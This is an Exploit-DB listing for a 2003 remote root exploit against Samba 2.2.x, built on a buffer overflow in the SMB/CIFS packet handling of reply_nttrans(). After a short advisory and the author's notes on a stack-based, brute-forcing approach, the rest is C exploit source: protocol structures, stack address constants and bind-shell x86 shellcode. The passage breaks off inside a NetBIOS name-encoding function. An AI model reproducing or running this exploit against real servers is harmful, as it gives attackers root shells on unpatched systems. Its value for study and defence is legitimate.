Exploit-DB #22356
Description: Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow
Type: remote
Platform: unix
Date: 2003-03-15
Author: flatline

Exploit:
/*
source: https://www.securityfocus.com/bid/7106/info

Samba is prone to a buffer-overflow vulnerability when the '
' service tries to reassemble specially crafted SMB/CIFS packets. 

An attacker can exploit this vulnerability by creating a specially formatted SMB/CIFS packet and sending it to a vulnerable Samba server. The overflow condition will be triggered and will cause smbd to overwrite sensitive areas of memory with attacker-supplied values. 

Note that the smbd service runs with root privileges.
*/

/**
 ** sambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root
exploit by flatline@blackhat.nl
 **
 ** since we fully control a memcpy(), our options are endless here. i've
chosen to go the stack route tho,
 ** because any heap method would've required too much brute forcing or
would've required the ugly use of targets.
 **
 ** the stack method still requires little brute forcing and obviously
will not survive PaX, but it's efficient.
 ** i'm using executable rets as a 'jmp sled' which jmp to the shellcode
to help improve our brute forcing chances a bit.
 **
 ** shouts to (#)0dd, #!l33tsecurity and #!xpc.
 **
 ** many thanks to tcpdump which had to suffer the torture i put it
through and often didn't survive (more to come?).
 **
 ** public/private, i don't give a shit.
 **
 **/

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>

typedef unsigned char uint8;
typedef unsigned short uint16;
typedef unsigned long uint32;

/* http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf,
smb_cifs_protocol.pdf,
  http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14,
http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */

// XXX: lelijkheid: vermijd word padding door hier byte arrays van te
maken.
struct variable_data_header
{ uint8 wordcount, bytecount[2];
};

struct nbt_session_header
{ uint8 type, flags, len[2];
};

struct smb_base_header
{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];
 uint8 flags;
 uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
};

struct negprot_reply_header
{ uint8 wordcount;
 uint8 dialectindex[2];
 uint8 securitymode;
 uint16 maxmpxcount, maxvccount;
 uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow,
timehigh;
 uint16 timezone;
 uint8 keylen;
 uint16 bytecount;
};

// omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor
deze header.
struct sesssetupx_request_header
{ uint8 wordcount, command, reserved;
 uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
 uint8 sessionid[4];
 uint8 ipasswdlen[2], passwdlen[2];
 uint8 reserved2[4], capabilities[4];
};

struct sesssetupx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2],
bytecount[2];
 // wat volgt: char nativeos[], nativelanman[], primarydomain[];
};

struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2],
passwdlen[2], bytecount[2];
 // uint16 bytecount geeft lengte van volgende fields aan: char
password[], path[], service[];
};

struct tconx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2],
bytecount[2];
 // wat volgt: char service[], char nativefilesystem[];
};

// verschilt van trans en trans2 door de 32 bits wijde header fields.
struct nttrans_primary_request_header
{ uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4],
totaldatacount[4], maxparamcount[4], maxdatacount[4];
 uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4],
setupcount, function[2], bytecount[2];
};

struct nttrans_secondary_request_header
{ uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4],
paramoffset[4], paramdisplace[4],
 datacount[4], dataoffset[4], datadisplace[4];
};

/* struct trans2_request_header
{ uint8 wordcount;
 int totalparamcount, totaldatacount, maxparamcount, maxdatacount;
 uint8 maxsetupcount[2], flags[2];
 uint8 timeout[4];
 int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;
 uint8 setupcount[2], bytecount[2];
}; */

struct trans2_reply_header
{ uint8 wordcount;
 uint16 totalparamcount, totaldatacount, reserved, paramcount,
paramoffset,
 paramdisplacement, datacount, dataoffset, datadisplacement;
 uint8 setupcount, reserved2;
 uint16 bytecount;
};

#define SMBD_PORT 139
#define SHELLCODE_PORT 5074

#define SMB_NEGPROT 0x72
#define SMB_SESSSETUPX 0x73
#define SMB_TCONX 0x75
#define SMB_TRANS2 0x32
#define SMB_NTTRANS1 0xA0
#define SMB_NTTRANS2 0xA1
#define SMB_NTTRANSCREATE 0x01
#define SMB_TRANS2OPEN 0x00
#define SMB_SESSIONREQ 0x81
#define SMB_SESSION 0x00

#define STACKBOTTOM 0xbfffffff
#define STACKBASE 0xbfffd000
#define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))
#define BRUTESTEP 5120

extern char *optarg;
extern int optind, errno, h_errno;

uint16 tid, pid, uid;
uint32 sessionid, PARAMBASE = 0x81c0000;
char *tconx_servername;
int userbreak = 0;

char shellcode[] =
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
\

"\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
\

"\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
\

"\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
\

"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
 "\xcd\x80";

// ach, 't kan ermee door.
char *netbios_encode_name(char *name, int type)
{ char plainname[16], c, *encoded, *ptr;
 int i, len = strlen(name);
 if ((encoded = malloc(34)) == NULL)
 { fprintf(stderr, "malloc() failed\n");
 exit(-1);
 }
 ptr = encoded;
 strncpy(plainname, name, 15);
 *ptr++ = 0x20;
 for (i = 0; i < 16; i++)
 { if (i == 15) c = type;
 else
 { if (i < len